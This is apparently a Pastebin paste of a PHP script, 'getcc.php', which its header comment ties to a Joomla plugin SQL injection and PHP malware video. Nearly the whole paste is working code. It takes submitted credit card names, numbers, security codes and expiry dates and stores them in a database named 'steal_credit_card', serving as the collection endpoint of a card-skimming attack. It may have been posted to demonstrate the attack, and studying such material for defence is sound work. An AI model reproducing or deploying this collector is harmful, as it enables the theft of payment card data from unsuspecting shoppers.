Advertisement
SecurityObscurity

getcc.php

Oct 17th, 2011
866
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.59 KB | None | 0 0
  1. <?php  
  2. /*
  3. *
  4. * Code relative to Joomla Plugin SQL Injection + PHP Malware: http://www.youtube.com/watch?v=TzujNB61FvE
  5. *
  6. */                                                                                                                                                                            
  7.         // insert new credit card
  8.         if( isset($_POST['creditcard_code']) && trim($_POST['creditcard_code']) != "" ) {
  9.  
  10.                 // Do trim
  11.                 $cc_type = addslashes(trim($_POST['creditcard_code']));
  12.                 $cc_name = addslashes(trim($_POST['order_payment_name']));
  13.                 $cc_number = addslashes(trim($_POST['order_payment_number']));
  14.                 $cc_code = (int) trim($_POST['credit_card_code']);
  15.                 $cc_exp_m = (int) trim($_POST['order_payment_expire_month']);
  16.                 $cc_exp_y = (int) trim($_POST['order_payment_expire_year']);
  17.  
  18.                 $cc_date = $cc_exp_y ."-". $cc_exp_m ."-01";
  19.  
  20.                 $handle = mysql_connect('localhost','root','password') or die('Mysql DB connect fail');
  21.                 mysql_select_db('steal_credit_card') or die('db select fail');
  22.  
  23.                 // Do query
  24.                 mysql_query("INSERT INTO cc (type, cc_name, cc_number, cc_security_code, exp_date) VALUES ('".$cc_type."','".$cc_name."', $cc_number, $cc_code,'".$cc_date."' )") or die('query failed');
  25.  
  26.                 mysql_close($handle);
  27.         }                                                                                                                                                                        
  28. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement